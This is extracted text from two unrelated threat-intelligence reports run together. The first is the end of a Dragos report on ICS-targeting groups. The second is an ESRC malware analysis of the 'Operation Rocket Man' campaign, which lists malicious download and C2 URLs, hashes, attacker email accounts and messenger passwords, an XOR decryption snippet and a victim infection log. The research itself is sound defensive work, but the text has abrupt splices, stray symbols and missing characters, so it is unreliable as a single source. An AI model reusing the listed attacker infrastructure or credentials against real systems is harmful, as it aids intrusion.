Finally, noted capabilities +thus far would only suffice for initial network access and reconnaissance of a target +network + COVELLITE has not used or shown evidence of an ICS-specific capability. +https://www.novetta.com/tag/the-lazarus-group/ +http://www.novetta.com/2016/02/operation-blockbuster-unraveling-the-long-thread-of-the-sony-attack/ +https://www.recordedfuture.com/north- korea-cryptocurrency-campaign/ +Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 +DYMALLOY +Dragos began tracking the activity group we refer to as DYMALLOY in response to +Symantec +Dragonfly 2.0 + report. Importantly, Dragos found a significant reason +to doubt an association to the legacy Dragonfly ICS actor with the newly-identified +activity. +Dragonfly was originally active from 2011 to 2014 and utilized a combination of +phishing, strategic website compromise, and creating malicious variants of legitimate +software to infiltrate ICS targets. Once access was gained, Dragonfly +s HAVEX9 +malware leveraged OPC communications to perform survey and reconnaissance +activities within the affected networks. +Although no known destructive attacks emerged from these events, Dragonfly +proved itself to be a capable, knowledgeable entity able to penetrate and +operate within ICS networks. +YMALLOY is only superficially similar to Dragonfly, in that the group +utilized phishing and strategic website compromises for initial access. +However, even at this stage, DYMALLOY employed credential harvesting +techniques by triggering a remote authentication attempt to attackercontrolled infrastructure, significantly different from the exploits deployed by +Dragonfly. All subsequent activity shows dramatic changes in TTPs between +the groups, such as differences between the content and targeting of the +phishing messages, and the outbound SMB connections. +The Impact of Dragonfly Malware on Industrial Control Systems + SANS Institute Whitepaper +Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 +Although DYMALLOY does not appear to be linked with Dragonfly, or at least +not directly, the group remains a threat to ICS owners. +Starting in late 2015 and proceeding through early 2017, DYMALLOY was able to +successfully compromise multiple ICS targets in Turkey, Europe, and North America. +Dragos has also learned that, while the group does not appear to have a capability +equivalent to Dragonfly +s HAVEX malware, the group was able to penetrate the +ICS network of several organizations, gain access to HMI devices, and exfiltrate +screenshots. While less technically sophisticated than HAVEX, such activity shows +clear ICS intent and knowledge of what information could be valuable to an attacker + either to steal information on process functionality in the target environment or to +gather information for subsequent operations. +Since Symantec +s public reporting, followed by additional US-CERT notifications +several weeks later, Dragos has not identified any additional DYMALLOY activity. +While analysts found some traces of DYMALLOY-related malware in mid-2017, no +artifacts or evidence suggesting DYMALLOY operations appear since early 2017. +Given the publicity, Dragos assesses with medium confidence that DYMALLOY has +reduced operations or significantly modified them in response to security researcher +and media attention. +Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 +CHRYSENE +HRYSENE is an evolution of on-going activity which initially focused on +targets in the Persian or Arabian Gulf. CHRYSENE emerged as an off-shoot +to espionage operations + as well as potential preparation actions before +destructive attacks such as SHAMOON10 + that focused mostly on the Gulf area +generally, and Saudi Arabia specifically. CHRYSENE differs from past activity +in that it utilizes a unique variation of a malware framework employed by other +groups such as Greenbug (Symantec) and OilRig (Palo Alto Networks), with +a very particular C2 technique reliant upon IPv6 DNS and the use of 64-bit +malware. +Where CHRYSENE mostly differentiates itself is in targeting: all observed +CHRYSENE activity focuses on Western Europe, North America, Iraq, and +Israel. CHRYSENE targets oil and gas and electric generation industries +primarily within these regions. This activity first emerged in mid-2017 and has +continued at a steady state since. +While CHRYSENE +s malware features notable enhancements over related threat +groups using similar tools, Dragos has not yet observed an ICS-specific capability +employed by this activity group. Instead, all activity thus far appears to focus on +IT penetration and espionage, with all targets being ICS-related organizations. +Although CHRYSENE conducts no known ICS disruption, the continued activity and +expansion in targeting make this group a concern that Dragos continues to track. +http://www.nytimes.com/2012/10/24/business/global/cyberattack-on-saudi-oil-firm-disquiets-us.html +Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 +MAGNALLIUM +RAGOS began tracking MAGNALLIUM in response to public reporting +by another security company on a group identified as +APT33 + (FireEye). +The press initially treated MAGNALLIUM as a significant threat to ICS and +critical infrastructure. A subsequent investigation by Dragos indicated that +all of this group +s activity focused on Saudi Arabia, specifically governmentrun or -owned enterprises in petrochemicals and the aerospace industry. +While the group targets organizations which contain ICS, the lack of an ICSspecific capability combined with the group +s very narrow targeting profile +make this less of a concern. +We continue to monitor MAGNALLIUM to determine if targeting changes, or if +this group +s actions splinter resulting in new, +out of area + operations, as observed +with CHRYSENE. +Dragos, Inc. | www.dragos.com | @DragosInc | version 1.0 +DRAGOS, INC. +www.dragos.com +1745 DORSEY ROAD +HANOVER, MD 21076 USA +EMAIL: INFO@DRAGOS.COM +Security Response Center (ESRC) +Threat +Intelligence Report +OPERATION +Rocket Man +2018. 08 +ESRC-1808-TLP-White-IR002 +Security Response Center +INDEX +RocketMan Report +- The latest APT campaign of Geumseong121 +Group + 'Operation Rocket Man' +- Detailed Analysis +Correlation Analysis +- Similar Threat Case +- Deep Analysis on Correlation +- Time Series Analysis of Geumseong121 Group +Conclusion +- Persistent Threat +Security Response Center +RocketMan Report +- The latest APT campaign of Geumseong121 Group + 'Operation +Rocket Man' +- Detailed Analysis +Security Response Center +Special Report +RocketMan Report +1. The latest APT campaign of Geumseong121 Group + 'Operation Rocket Man' +ESTsecurity Security Response Center (ESRC) is a specialized organization of ESTsecurity Cyber Threat Intelligence (CTI). +On March 20, ESRC released the report on a state-sponsored APT threat group Geumseong121, who had conducted +infiltration cyber-attacks on major North Korean organizations and defense sectors, recently carried out the Androidbased mobile Spear Phishing attacks. +[Figure 1] Attack Vector of Geumseong121 group +The unknown attackers spread the CVE-2018-4878 Zero-Day vulnerability via KakaoTalk messenger and attempted +the targeted attacks several times exploiting the malicious HWP document. +In the mobile spear phishing (APK) discovered in March, malicious APK apps with the word "Secret" instead of "Illegal" +were distributed. +Security Response Center +The Geumseong121 group is the suspected state-sponsored cyber military, who attacked Android mobile users by +disguising as a mobile vaccine app developed by the leading portal company in Korea. ESRC has posted the analysis +on the malicious app (Trojan.Android.Fakeav) in detail. +[Figure 2] Tricking users to install APK disguised as the mobile security app +The additional threats related the issue has been posted on the Cisco Talos, Paloalto Unit 42 security blog in detail. +Security Response Center +2. Malware Analysis +2.1. File Information +File Name +111.hwp +File Format +Content Created +2018. 08. 10 +File version +Last Updated +2018. 08. 10 +EDC1BDB2D70E36891826FDD58682B6C4 +SHA-256 +File Size +18,432 byte +2CAF1E26A67760268648B0EC8EA66BE9D2E28BAC1B2A48E1E6F6E9A06BEB042C +Ant_3.5.exe +File Format +Content Created +2018. 08. 10 +File version +Last Updated +2018. 08. 10 +B710E5A4CA00A52F6297A3CC7190393A +SHA-256 +PE EXE +File Size +12,214,272 +File Name +byte +32E98F39BCDE86885C527DDCF68FAD67D0A7E6C23877672EBFD4C2A6A3F545E5 +worldnews.doc +File Format +Content Created +2018. 08. 14 +File version +Last Updated +2018. 08. 14 +1213E5A0BE1FBD9A7103AB08FE8EA5CB +SHA-256 +File Name +PE EXE +File Size +368,128 +File Name +byte +dc827f7a1e5ee4600697d7d3efdeb8401b7a9af3d704d0462e7d3e0804a9069d +\xed\x86\xb5\xec\xa7 +\x80.hwp +File Format +File Size +173,056 +byte +Content Created +2017. 10. 10 +File version +Last Updated +2017. 10. 10 +AF6721145079A05DA53C8D0F3656C65C +SHA-256 +8bb3d97a37a6c7612624a12f8ff60eb8dd130f9e8f9af4f4f2cf8fca4f1dd964 +File Name +desktops.ini +File Format +Content Created +File version +Last Updated +05EEF00DE73498167B2D7EBDC492C429 +SHA-256 +Security Response Center +File Size +204 byte +4380769cdef6ed56c1290acfc98a26e029e887a3b4ebfc417bfd80408b4d9e90 +2.2. Detailed Analysis +ESRC has been investigating the cyber campaigns for several years, and found that the group has been conducting +the cyber campaigns on and off Korea since 2013. The major threat vectors exploited by the group are Watering Hole, +Spear Phishing, Social Network Phishing, Torrent Phishing attacks and so on. +Meanwhile, the latest spear phishing targeting a specific Korean was discovered in August of 2018 and interesting facts +are found while analyzing the attack. In addition, the attacker is disguised as a corporate HR representative in Korea +for the attack. +The following IoCs are identified in the attack. ESRC has promptly shared the information with Korea Internet & Security +Agency (KISA), in order to prevent the distribution of the malware. +- http://m.ssbw.co.kr/admin/form_doc/image/down/down[.]php (MD5 : af6721145079a05da53c8d0f3656c65c) +- http://m.ssbw.co.kr/admin/form_doc/image/down/worldnews[.]doc (MD5 :1213e5a0be1fbd9a7103ab08fe8ea5cb) +- http://m.ssbw.co.kr/admin/form_doc/image/img/111[.]hwp (MD5 : edc1bdb2d70e36891826fdd58682b6c4) +- http://m.ssbw.co.kr/admin/form_doc/image/img/Ant_3.5[.]exe (MD5 : b710e5a4ca00a52f6297a3cc7190393a) +- http://m.ssbw.co.kr/admin/form_doc/image/img/desktops[.]ini (MD5 : 05eef00de73498167b2d7ebdc492c429) +The spear phishing strategy used by Geumseong121 contains the distinctive features. Instead of attaching a Lure or +Decoy file, it adds the infected Korean website address and disguises as the attached file image. +The sophisticated Hangul was observed in the attack, but some geographic expressions of the language were subtlety +vague. The approach is utilized to analyze local characteristics based on the linguistic abilities of the attacker, and the +professional analysts who are good at using the language can access to more in-depth data through. +In addition, the metadata used in the attack is utilized as a key clue to the Correlations between traces of the past and +the infringements. +The malware disguised as the icon that seems the Korean security program is used in the newly discovered campaign +in August. The tactic is similar to the one of the attack discovered in March, but this time it is disguised as security +program for PC, not mobile. +Security Response Center +[Figure 3] Flow of Attack disguised as a security program +The malware disguised as a security program depending on the attack vector installs additional files through the +multiple steps. It executes optional commands for each .Net version. +The build data called 'Ant.pdb' is observed in malicious file distributed on the .Net basis. In particular, an attacker is +constantly creating a series of malicious file variants in a project folder called 'Rocket'. +- E:\project\windows\Rocket\Ant\Api\PubnubApi\obj\Debug\net35\Pubnub.pdb +- E:\project\windows\Rocket\Ant_3.5\Ant\obj\Release\Ant.pdb +Security Response Center +[Figure 3-1] PDB path created in Rocket path +We categorized the cyber campaigns using the main keywords and named it 'Operation Rocket Man'. +ESRC found many False Flags to confuse Threat Intelligence (TI) while analyzing the code used in the attack. The +attacker used the word 'Haizi' in English, which means a child in Chinese expression. +The expression was identically used in the .Net based programs installed later. There is a word 'PAPA' in the .Net based +malware. However, 'BABA' is used as an English expression of Chinese , which means father. +The evidence revealed that the attacker's native language may not be Chinese. +Security Response Center +[Figure 4] English expression of Chinese in the malware +The installed malware will download the encrypted ini configuration file and decrypt it. The configuration file is +named 'desktops.ini' and receives the commands from the same C2 server exploiting the vulnerability attack. +public void SetPubnub(string[] strArr) +if (strArr.Length != 7) +return; +for (int i = 0; i < strArr.Length; i++) +strArr[i] = this.calcXor(strArr[i], 23); +this.m_strChannelNameTmp = strArr[1]; +The configuration file encrypted according to the command is decrypted with the key value of XOR 0x17. When the +Security Response Center +decryption is completed, command communication (C2) communication is proceeded via PubNub channel, which is +one of the Infrastructure as a Service. +The attacker uses the 'LiuJin' account here as well, which is one of evidence to show the attack is originated from +China. +There are many English expressions of 'LiuJin', it can be written as + (LiuJin) + in Chinese, or used for the name of +Chinese actor and the online game. +The traces related to China are intentionally left behind in the code. ESRC believes there is a high possibility of +Disturbance Strategy exposing the linguistic and geographic codes to confuse Threat Intelligence (TI). +Security Response Center +[Figure 5] IaaS-based PubNub command control (C2) server +Security Response Center +As such, an attacker uses a legitimate IaaS service for communication, so that it is quite difficult to detect the malicious +traffic. +Security Response Center +Correlation Analysis +- Similar Threat Case +- Deep Analysis on Correlation +- Time Series Analysis of Geumseong121 Group +Security Response Center +Special Report +Correlation Analysis + Similar Threat Case +The spear phishing using the same technique has been identified in September 2017. The HWP vulnerability was also +used for the attack, and the metadata is identical to the IOC of the attack on August 2018. +The attacker +s account name and the OLE code are disguised as references and reply to the original message. +[Figure 6] E-mail used in the attack +The file name 'icloud.exe' is used for the malicious program and the following PDB (Program Data Base) code is inside. +- E:\))PROG\doc_exe\Release\down_doc.pdb +The PDB series is diverse depending on the variant malicious files, and it is also related to the 2013 versions using the +AOL messenger (AIM). +AOL Messenger was used for communicating in the early days before the infected Korean websites were used as a +Security Response Center +communication method. After that, it has evolved to use the Streamnation.com for Command and Control. +The emails from Korea, USA, China, India and Russia can be used for subscribing the account for C2 Communication. +The cloud services such as pcloud.com, yandex.com and Dropbox have been used before and a real-time networking +platform PubNub service is currently used. The PubNub is infrastructure-as-a-service (IaaS) to provide the service to +interconnect IoT cloud devices as one system. +- K:\))pick\ie\test.pdb +- D:\))pick\doc_exe\Release\down_doc.pdb +- E:\))PROG\doc_exe\Release\down_doc.pdb +- E:\))PROG\doc_exe\Release\drun.pdb +- E:\))PROG\ie\Release\drun.pdb +- E:\))PROG\Upload\Upload\thunder +- E:\))PROG\waoki\Release\runner.pdb +- E:\))PROG\waoki\Release\kltest.pdb +[Figure 7] The analysis of PDB code in the malicious program +The command control (C2) server of the attack is the 'endlesspaws.com' domain, which has been previously used for +similar attacks several times. +In terms of Threat Intelligence (TI), the identified server is useful to investigate similar threats carried out by the same +attackers. +Security Response Center +ESRC also confirmed that the domain has connections to +Watering Hole attack related to North Korea +, which is +discovered in South Korea in 2015, and gained the evidence that it is exploited in the spear phishing attack with +attached executable file in 2017. +The attack exploiting the CVE-2017-8759 vulnerability has been detected as well. Some of them have been posted on +the blog by Chinese security company Tencent. + Deep Analysis on Correlation +A number of similar threat appeared in February of 2017. The domain endlesspaws.com was leveraged to distribute +the malware by luring the users with the safety guideline for strengthening the protection of North Korean defectors. +[Figure 8] Distributing the malware by disguising as the safety guideline +Security Response Center +It looks like it attaches a 'safety tips .zip' file to an email, but it actually is linked to the 'endlesspaws.com' domain to +install a compressed file, and it contains malicious EXE executable files with a double extension disguised as an HWP +document. +It masquerades as a double extension, and the icon is disguised as a normal HWP file by utilizing the document file +resource. +The malicious file loads the code that is configured of the cryptographic function routines inside, and decodes certain +hexadecimal codes into a logical XOR 0x55 key value. +EXE executable malicious files will attempt to connect to the following addresses, same as the C2 domain used to +distribute ZIP compressed files: +- http://endlesspaws.com/vog/tan[.]php?fuck=x +- http://endlesspaws.com/vog/denk[.]zip +Security Response Center +[Figure 9] Code for converting the encrypted C2 data +The additionally downloaded 'denk.zip' file, which appears to be a seemingly zip compressed file, is actually a HWP +format document file. +The malware distributed in EXE format contains the normal HWP document inside. It shows users the normal +document in the process of infecting the device or it can download the normal HWP document from the C2 server. +However, this case is different from the common type of the malware. It downloads and install additional malicious +HWP documents. +This is an unusual case of installing the additional document-based malicious files on the already infected system. As +the document file contains content that matches the email content used in the attack, it is not likely that the file is +improperly linked due to confusion with other cyber operations. +Security Response Center +The malicious script code is injected in the DefaultJScript area in the 'denk.zip' file. The malicious DLL file encoded in +BASE64 code in the embedded format will be decoded when the script runs. +[Figure 10] The malicious script code included in the document file +The malicious DLL file that is decoded by BASE64 code contains the following PDB path, and connect to the six Korean +command control (C2) servers. +The code 'srvrlyscss', which has been detected in many IOCs in Korea, is used for communication. +Security Response Center +[Figure 11] Code with 'srvrlyscss' string for communication +- seline.co.kr/datafiles/CNOOC[.]php +- www.causwc.or.kr/board_community01/board_community01/index2[.]php +- www.kumdo.org/admin/noti/files/iindex[.]php +- www.icare.or.kr/upload/board/index1[.]php +- cnjob.co.kr/data/blog/iindex[.]php +- notac.co.kr/admin/case/iindex[.]php +The string 'taihaole9366' was used as the mutex code to prevent Duplicate Execution. 'Taihaole' matches the English +expresion of Chinese ( +) and the meaning is 'very good'. +The attacker has used the English expression of Chinese very often from the past, and there are a lot of other +expressions. +Security Response Center +[Figure 12] Encoded C2 and Mutex in English expression of Chinese +The malware disguised as a popular Chinese security program has been identified in January of 2018. It is a different +case from the one disguising as an existing Korean security program. +The attacker added a fake screen to the Korean website 'ebsmpi.com' as if it were a 360 TOTAL SECURITY security +program web page in China. +It copied the source code of the website operated in China and replaced the downloaded file with the malicious files. +The linked addresses are as follows, and when clicking the 'Free Download' link, the file '360TS_Setup_Mini.exe' is +downloaded. +- http://ebsmpi.com/ipin/360/down[.]php +Security Response Center +[Figure 13] Infecting 'ebsmpi.com' website in Korea and adding the screen +It disguises the file name (360TS_Setup_Mini.exe) like the security program in China, and the icon also camouflages +Security Response Center +the normal program. The additional .Net-based malicious file is installed depending no environmental conditions. +ESRC identified in August 2018 that the encryption algorithm is 100% identical to the vector technique of the attack +disguising as the Korean portal program +[Figure 14] Comparison of malicious files disguised as a Chinese security program and normal file +- http://ebsmpi.com/ipin/360/Ant_3.5[.]exe (MD5 : ff32383f207b6cdd8ab6cbcba26b1430) +- http://ebsmpi.com/ipin/360/Ant_4.5[.]exe (MD5 : 84cbbb8cdad90fba8b964297dd5c648a) +- http://ebsmpi.com/ipin/360/desktops[.]ini (MD5 : ab2a4537c9d6761b36ae8935d1e5ed8a) +- http://cgalim.com/admin/hr/temp[.]set (MD5 : fa39b3b422dc4232ef24e3f27fa8d69e) +The normal '360TS_Setup_Mini.exe' file is installed in the domain 'cgalim.com' with the file name 'temp.set', which is +also used for a similar infringement attack discovered in Second half of the year. +Security Response Center +[Figure 14-1] '360TS_Setup_Mini.exe' installing the normal file +Initial malicious files based on .Net include the following PDB paths, some of which are omitted from the latest variants. +- E:\project\windows\Rocket\Ant\Api\PubnubApi\obj\Debug\net35\Pubnub.pdb +- E:\project\windows\Rocket\Sys-Guard\Servlet-standalone_Guard\Release\Servlet.pdb +- E:\project\windows\Rocket\Sys-Guard\Chutty_Guard\Release\Chutty.pdb +- E:\project\windows\Rocket\Servlet\Release\Servlet.pdb +- E:\project\windows\Rocket\Ant_4.5\Ant\obj\Release\Ant.pdb +ESRC has verified that when executing the malicious file, they download the normal programs from another infected +server to trick users believing into the normal program is running. +The C2 server overlaps with the hosts, which are detected from the distribution of Android malicious application (1.apk) +and the bitcoin related 'bitcoin-trans.doc' (MD5: 8ab2819e42a1556ba81be914d6c3021f) malicious file. +- http://cgalim.com/admin/hr/hr[.]doc (MD5 : 24fe3fb56a61aad6d28ccc58f283017c) +- http://cgalim.com/admin/hr/1[.]apk (MD5 : 9525c314ecbee7818ba9a819edb4a885) +- http://cgalim.com/admin/hr/temp[.]set (MD5 : fa39b3b422dc4232ef24e3f27fa8d69e) +The domain 'cgalim.com' left traces that show the variant file is distributed in /1211me/ as well as the subpath /hr/. +Security Response Center +The group conducted a watering hole attack against North Korean organizations in 2015 and 2016. The attackers were +actively exploiting flash player vulnerabilities for the attack. +North Korea-related news sites and web sites have been mainly targeted by the threat, and lasts for several months. +The following is a malicious object added to the infected website. +[Figure 15] Flash player vulnerability code used for watering hole attack +The hacking group exploited the latest Flash player vulnerabilities CVE-2015-5119 and CVE-2015-0313 in 2015, and +Flash Player CVE-2015-5119 vulnerability leaked from the server hacking attack performed by Italian Hacking Team. +The group has used KakaoTalk Messenger to selectively target victims and carried out the attack exploiting the CVE2018-4878 Flash Player Zero-day vulnerability since late 2017. +- G:\FlashDeveloping\mstest\src (CVE-2014-8439) +- G:\FlashDeveloping\20148439\src (CVE-2014-8439) +- G:\FlashDeveloping\Main\src\ (CVE-2015-0313) +- G:\FlashDeveloping\2015-3090\src (CVE-2015-3090) +- G:\FlashDeveloping\20153105\src (CVE-2015-3105) +- G:\FlashDeveloping\20155119\src (CVE-2015-5119) +- G:\FlashDeveloping\chrome_ie\src (CVE-2015-5119) +Security Response Center +In case that the additional malware downloaded by the Flash Player Vulnerability (SWF) fails to execute administrator +privileges via User Account Control, a fake error message of hard disk pops up after about 5 minutes. +It manipulates as backup process and re-execute the malware with administrator privilege CMD command. Some +Korean expressions observed were identical to the English computer expression (prose, program) used in North Korea. +[Figure 16] Fake error message containing a North Korean expression of computer terminology +The C2 communication method has evolved over the years. In the earliest days, America Online Instant Messenger +(AIM) Oscar protocol was used for Command and Control. +The encrypted communication proceeds with the AIM Messenger's account and password, which is English characters +typed on Korean keyboard. The initially used PDB path shows it is developed in the AOL folder. +- fastcameron13 / powercooper00 / dPfWls&Rkapfns19 ( + 19) +- F:\Program\svr_install\Release\svr_install.pdb +- F:\Program\Aol\Release\ServiceDll1.pdb +Security Response Center +[Figure 17] Using AIM Messenger as C2 +When communicating with AIM Messenger, the attacker uses the login account and password, and sends the +encrypted message to another account user after the connection is completed. +When the device is infected, the encrypted messages such as computer information and additional commands will +be transmitted, and various accounts have been used. +Attackers mainly have the following accounts such as aol.com, hotmail.com, yahoo.com, india.com, inbox.com, +gmail.com and zmail.ru and created and used the other variants. +- allmothersorg11@hotmail.com +- allmothersorg@hotmail.com +- bluelove@india.com +- cmostenda01@yahoo.com +Security Response Center +- cmostenda102@yahoo.com +- cmostenda103@yahoo.com +- daum14401@zmail.ru +- dapplecom2013@yahoo.com +- eatleopard00@inbox.com +- fastcameron00 +- fastcameron11 +- fastcameron13 +- fatpigfarms@hotmail.com +- fatpigs9009@hotmail.com +- friendleopard00@aol.com +- ganxiangu04@hotmail.com +- ganxiangu07@hotmail.com +- greatvictoria84 +- greatvictoria85 +- greatvictoria86 +- greatvictoria87 +- hatmainman@hotmail.com +- hatwoman40@hotmail.com +- jinmeng288@gmail.com +- minliu231@gmail.com +- Okokei@india.com +- pghlsn333@gmail.com +- prettysophia00 +- prettysophia47 +- prettysophia48 +- prettysophia49 +- prettysophia50 +- prettysophia51 +- prettysophia52 +- prettysophia53 +- prettysophia54 +- prettysophia55 +- prettysophia56 +Security Response Center +- prettysophia57 +- tosarang87@gmail.com +- winpos1000@zmail.ru +- winpos1001@zmail.ru +- winpos1002@zmail.ru +- winpos1003@zmail.ru +- winpos1004@zmail.ru +- xiangangxu88@hotmail.com +- zum36084@gmail.com +- zum36084@zmail.ru +- zum36085@zmail.ru +The emails such as "zum36084@gmail.com", "zum36084@zmail.ru", daum14401@zmail.ru were generated and they +were sent as a test in early 2016. +Investigations based on IoA (Indicators of Attack) reveal that an attacker has set up a 'zum36084@gmail.com' email +to disguise as 'Google Account Team', and they have used Hangul from the beginning. +Security Response Center +[Figure 18] Testing after generating the emails for the attack +Emails sent as a test Mar 03, 2016 attached the '0303_zmail.gif' file, which is the malicious file of EXE format that is +encrypted by 2 steps such as XOR 0x69 key. +The decrypted malicious file is set to infect only a specific computer name, which includes Korean name and the name +of a journalist from a specific press. +- WOOSEONG-PC +- T-PC +Security Response Center +Some variants check the following accounts. For example, the name of 'SEIKO' computer is often identified in IOCs. In +particular, when using the HWP document file vulnerability, it matches the account of the last writer, and has been +identified in the infection logs of '175.45.178.133'. +- KIM[Administrator] +- JAMIE[Jamie Kim] +- DONGMIN[MinSk] +- T-PC[T] +- YONGJA-PC +- USER +- sec +- CRACKER-PC +- SEIKO +The following sites are bookmarked by the users as follows in the infection log of 'SEIKO' account. +Windows IP Configuration +Host Name . . . . . . . . . . . . : SEIKO-PC +Primary Dns Suffix . . . . . . . : +Node Type . . . . . . . . . . . . : Hybrid +IP Routing Enabled. . . . . . . . : No +WINS Proxy Enabled. . . . . . . . : No +Ethernet adapter Ethernet: +Connection-specific DNS Suffix . : +Description . . . . . . . . . . . : Realtek PCIe FE Family Controller +Physical Address. . . . . . . . . : F0-DE-F1-A1-96-C3 +DHCP Enabled. . . . . . . . . . . : No +Autoconfiguration Enabled . . . . : Yes +IPv4 Address. . . . . . . . . . . : 175.45.178.133(Preferred) +Security Response Center +Subnet Mask . . . . . . . . . . . : 255.255.255.240 +IPv4 Address. . . . . . . . . . . : 192.168.0.135(Preferred) +Subnet Mask . . . . . . . . . . . : 255.255.255.0 +Default Gateway . . . . . . . . . : 192.168.0.1 +175.45.178.129 +Directory of c:\users\SEIKO\Favorites\Links\mail +2016-04-24 + 06:13 +150 126? +.url +2016-04-24 + 06:13 +213 163? +.url +2016-04-24 + 06:13 +808 AOL Mail.url +2016-04-24 + 06:13 +265 Gmail.url +2016-04-24 + 06:13 +837 Hotmail.url +2016-04-24 + 06:13 +152 Inbox.url +2016-04-24 + 06:13 +183 India.url +2016-04-24 + 06:13 +466 Yahoo mail.url +2016-04-24 + 06:13 +218 zmail.url +Directory of c:\users\SEIKO\Favorites\Links\ +2016-04-24 + 06:13 +112 FN +.URL +2016-04-24 + 06:13 +115 Sputnik.URL +2016-04-24 + 06:13 +110 +.URL +2016-04-24 + 06:13 +109 +.URL +2016-04-24 + 06:13 +114 +.URL +2016-04-24 + 06:13 +113 +.URL +2016-04-24 + 06:13 +151 +.URL +Directory of f:\2_Program\Orbis_zmail\Debug +2016-01-16 + 12:11 +0 F0DEF1A196C3_C.zip +2016-01-16 + 12:30 +2,293,380 F0DEF1A196C3_E.zip +2016-01-16 + 12:30 +12,827,289 F0DEF1A196C3_F.zip +2016-01-16 + 09:16 +22 F0DEF1A196C3_D.zip +2016-02-15 + 10:28 +5,914,135 F0DEF1A196C3_G.zip +Security Response Center +In addition, the computer that satisfies the condition decrypts the encrypted code inside with XOR 0x55 key, and +generates it as 'conhost.exe' filename and executes it. +For instance, the 'conhost.exe' file communicates with AOL Messenger. +[Figure 19] The code to communicate with AOL Messenger +Security Response Center +It is noteworthy that the password code (dPQms&Thvldk1987), which is used to log in to AOL Messenger, will be +converted to ' +1987 (Pretty&Sopia1987)' in Korean when typing it with Hangul keyboard. +Attackers also use multiple Chinese expressions in AOL messenger communication. Another variant uses the 'Dajiahao' +code as the mutex key, which means 'Hello everyone + in Chinese. dPfWls&Rkapfns19 is used as the password for the +AOL login account and it is changed to ' +19 (Yelchin&Kermelon19)' in Korean when typing with Korean +keyboard. +[Figure 20] Chinese greeting and Korean-convertible password +Security Response Center +Many variants are found in various forms. In case of 'SEIKO' computer name, the following PDB path is observed and +emails like 'zum36085@zmail.ru', 'pghlsn333@gmail.com' were used. +- F:\2_Program\Orbis_zmail\Release\RecvTest_zmail.pdb +The following PDB paths are identified in similar variants: +- F:\2_Program\Orbis_academia\Release\RecvTest_zmail.pdb +- F:\2_Program\Orbis_academia\Release\Recv_Pwd_2_India.pdb +[Figure 21] PDB code with Zmail test information +ESRC has been able to detect the attack technique aimed at an unspecified number of people in addition to the APT +target attacks. The attackers infect users by injecting the malware in illegal software by subscribing to the Korean +torrent website. Namely, they distribute the famous commercial software illegally after inserting malware inside. +Attackers have earned points as follows from the Korean torrent site, and they actively uploaded files and posted +comments as well. +Security Response Center +[Figure 22] Activity History in Korean torrent site + Time Series Analysis of Geumseong12 Group +The attackers hacked the Korean website and used it as C2 server for a while after using the AOL Messenger +communication technique in the first half of 2013. However, they may have discovered that the technique is lack of +continuous availability after the websites are detected and quickly shut down by the security providers and managers. +After a while, they created a variant with excellent sustainability, exploiting the AOL Messenger communication +technique. After that, the infected WordPress-based websites were mainly used it as a watering hole attack base. +They mainly used Flash player vulnerability files and +Streamnation + cloud account, which is a personal media hub +service, in attacks using the WordPress websites. The attackers continued to use the AOL messenger for the attacks, +but they chose WordPress websites as a C2 server for mediation server of spear phishing and watering hole attacks. +In the meantime, as the "Streamnation" service is closed in February 2016, the attackers launched the testing for +zmail.ru + service since the end of January 2016, which they had been continuously used before. +Security Response Center +As such, the attackers attempted to change to the new C2 server system by introducing the 'zmail.ru' service and +start to introduce 'pCloud' service with the AOL messenger communication. When creating a cloud service account, +they use free email services not only in Korea but also in countries such as the US, China, India, and Russia. +As attack tactics have changed over time, CVE-2018-4878 vulnerability files have been sent to specific targets that had +not been added to friends via KakaoTalk messages, and Android malicious apps targeting smartphone users have also +been found. +The DOC document vulnerability attack on cryptocurrency was first reported overseas at the end of 2017. In addition, +the attackers are steadily upgrading attack technologies such as distribution of malware disguising as security +programs in Korea and China or infecting users via Torrent. +[Changes in C2 techniques according to Time Series] +March 26, 2013: AOL messenger service +April 20, 2013: Communication with a specific website in Korea +July 10, 2015: WordPress Website Communication +July 14, 2015: Streamnation Personal Cloud Service +August 09, 2015: Streamnation Personal Cloud Service +February 09, 2016: Official end of Streamnation Personal Cloud Service +April 11, 2016: Pcloud Personal Cloud Service +December 15, 2017: Official end of AOL Messenger service +December 12, 2017: PubNub IaaS Service +January 16, 2018: PubNub laaS Service +February 23, 2018: PubNub IaaS Service +August 14, 2018: PubNub IaaS Service +Security Response Center +[Figure 23] C2 communication that changes with time +Security Response Center +Conclusion +- Persistent Threat +Security Response Center +Special Report +Conclusion + Persistent Threat +In addition to the previous cases, similar infringement using the same IoC code or metadata has been discovered for +many years in Korea, and ESRC is constantly pursuing the change process. +Further details will be available on 'Threat Inside', which is the service scheduled to be launched from the second half +of the year. IoCs and the specialized intelligence report are provided to corporate customers via 'Threat Inside'. +Security Response Center +Special Report +Indicator of Compromise (IoC) + Press Resources +Fake AV Investigation Unearths KevDroid, New Android Malware +https://blog.talosintelligence.com/2018/04/fake-av-investigation-unearths-kevdroid.html +Reaper Group +s Updated Mobile Arsenal +https://researchcenter.paloaltonetworks.com/2018/04/unit42-reaper-groups-updated-mobile-arsenal/ +https://s.tencent.com/research/report/274.html + 14 +https://www.boannews.com/media/view.asp?idx=72235 + File name +.zip +.hwp +denk.zip +360TS_Setup_Mini.exe +bitcoin-trans.doc +1.apk +conhost.exe + Malware MD5 +af6721145079a05da53c8d0f3656c65c +1213e5a0be1fbd9a7103ab08fe8ea5cb +edc1bdb2d70e36891826fdd58682b6c4 +b710e5a4ca00a52f6297a3cc7190393a +05eef00de73498167b2d7ebdc492c429 +ff32383f207b6cdd8ab6cbcba26b1430 +84cbbb8cdad90fba8b964297dd5c648a +ab2a4537c9d6761b36ae8935d1e5ed8a +fa39b3b422dc4232ef24e3f27fa8d69e +Security Response Center +8ab2819e42a1556ba81be914d6c3021f +24fe3fb56a61aad6d28ccc58f283017c +9525c314ecbee7818ba9a819edb4a885 +fa39b3b422dc4232ef24e3f27fa8d69e + Domain +http://endlesspaws.com/vog/tan[.]php?fuck=x +http://endlesspaws.com/vog/denk[.]zip +seline.co.kr/datafiles/CNOOC[.]php +www.causwc.or.kr/board_community01/board_community01/index2[.]php +www.kumdo.org/admin/noti/files/iindex[.]php +www.icare.or.kr/upload/board/index1[.]php +cnjob.co.kr/data/blog/iindex[.]php +notac.co.kr/admin/case/iindex[.]php +http://ebsmpi.com/ipin/360/down[.]php +http://cgalim.com/admin/hr/hr[.]doc + IP address +175.45.178.133 + Mutex name 